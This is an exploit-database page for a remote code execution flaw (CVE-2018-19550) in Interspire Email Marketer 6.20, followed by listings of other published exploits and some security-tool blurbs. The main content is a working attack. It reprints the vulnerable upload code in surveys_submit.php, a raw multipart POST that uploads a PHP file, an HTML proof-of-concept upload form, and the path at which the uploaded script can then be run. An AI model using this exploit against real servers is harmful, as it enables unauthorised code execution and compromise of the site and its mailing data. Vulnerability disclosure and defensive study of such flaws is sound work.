Menu

Search for hundreds of thousands of exploits

"Interspire Email Marketer 6.20 - 'surveys_submit.php' Remote Code Execution"

Author

Exploit author

"numan türle"

Platform

Exploit platform

php

Release date

Exploit published date

2019-05-17

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# Exploit Title: Interspire Email Marketer 6.20 - Remote Code Execution
# Date: May 2019
# Exploit Author: Numan Türle
# Vendor Homepage: https://www.interspire.com
# Software Link: https://www.interspire.com/emailmarketer
# Version: 6.20< 
# Tested on: windows
# CVE : CVE-2018-19550
# https://medium.com/@numanturle/interspire-email-marketer-6-20-exp-remote-code-execution-via-uplaod-files-27ef002ad813


surveys_submit.php
if (isset($_FILES['widget']['name'])) {
             $files = $_FILES['widget']['name'];

             foreach ($files as $widgetId => $widget) {
                 foreach ($widget as $widgetKey => $fields) {
                     foreach ($fields as $fieldId => $field) {
                         // gather file information
                         $name    = $_FILES['widget']['name'][$widgetId]['field'][$fieldId]['value'];
                         $type    = $_FILES['widget']['type'][$widgetId]['field'][$fieldId]['value'];
                         $tmpName = $_FILES['widget']['tmp_name'][$widgetId]['field'][$fieldId]['value'];
                         $error   = $_FILES['widget']['error'][$widgetId]['field'][$fieldId]['value'];
                         $size    = $_FILES['widget']['size'][$widgetId]['field'][$fieldId]['value'];

                         // if the upload was successful to the temporary folder, move it
                         if ($error == UPLOAD_ERR_OK) {
                             $tempdir   = TEMP_DIRECTORY;
                             $upBaseDir = $tempdir . DIRECTORY_SEPARATOR . 'surveys';
                             $upSurveyDir = $upBaseDir . DIRECTORY_SEPARATOR . $formId;
                             $upDir     = $upSurveyDir . DIRECTORY_SEPARATOR . $response->GetId();

                             // if the base upload directory doesn't exist create it
                             if (!is_dir($upBaseDir)) {
                                 mkdir($upBaseDir, 0755);
                             }

                             if (!is_dir($upSurveyDir)) {
                                 mkdir($upSurveyDir, 0755);
                             }

                             // if the upload directory doesn't exist create it
                             if (!is_dir($upDir)) {
                                 mkdir($upDir, 0755);
                             }

                             // upload the file
                             move_uploaded_file($tmpName, $upDir . DIRECTORY_SEPARATOR . $name);
                         }
                     }
                 }
             }
         }

input file name : widget[0][field][][value]
submit : surveys_submit.php?formId=1337


POST /iem/surveys_submit.php?formId=1337 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF2dckZgrcE306kH2
Content-Length: 340

------WebKitFormBoundaryF2dckZgrcE306kH2
Content-Disposition: form-data; name="widget[0][field][][value]"; filename="info.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>
------WebKitFormBoundaryF2dckZgrcE306kH2
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryF2dckZgrcE306kH2-

####

POC

<!DOCTYPE HTML>
<html lang="en-US">
<head>
    <meta charset="UTF-8">
    <title></title>
</head>
<body>
<form action="http://WEBSITE/surveys_submit.php?formId=1337" method="post" enctype="multipart/form-data">
    <input type="file" name="widget[0][field][][value]">
    <input type="submit" value="submit" name="submit">
</form>
</body>
</html>

URL : http://{{IEM LINK}}/admin/temp/surveys/1337/{{FUZZING NUMBER}}/{{FILENAME}}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2020-04-10 "WordPress Plugin Helpful 2.4.11 - SQL Injection" webapps php "numan türle"
2019-12-13 "NVMS 1000 - Directory Traversal" webapps hardware "numan türle"
2019-12-12 "Bullwark Momentum Series JAWS 1.0 - Directory Traversal" webapps php "numan türle"
2019-11-18 "Crystal Live HTTP Server 6.01 - Directory Traversal" webapps asp "numan türle"
2019-11-13 "gSOAP 2.8 - Directory Traversal" webapps php "numan türle"
2019-05-17 "Interspire Email Marketer 6.20 - 'surveys_submit.php' Remote Code Execution" webapps php "numan türle"
2018-11-26 "Zyxel VMG1312-B10D 5.13AAXA.8 - Directory Traversal" webapps hardware "numan türle"
2018-10-30 "ZyXEL VMG3312-B10B < 1.00(AAPP.7) - Credential Disclosure" dos hardware "numan türle" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected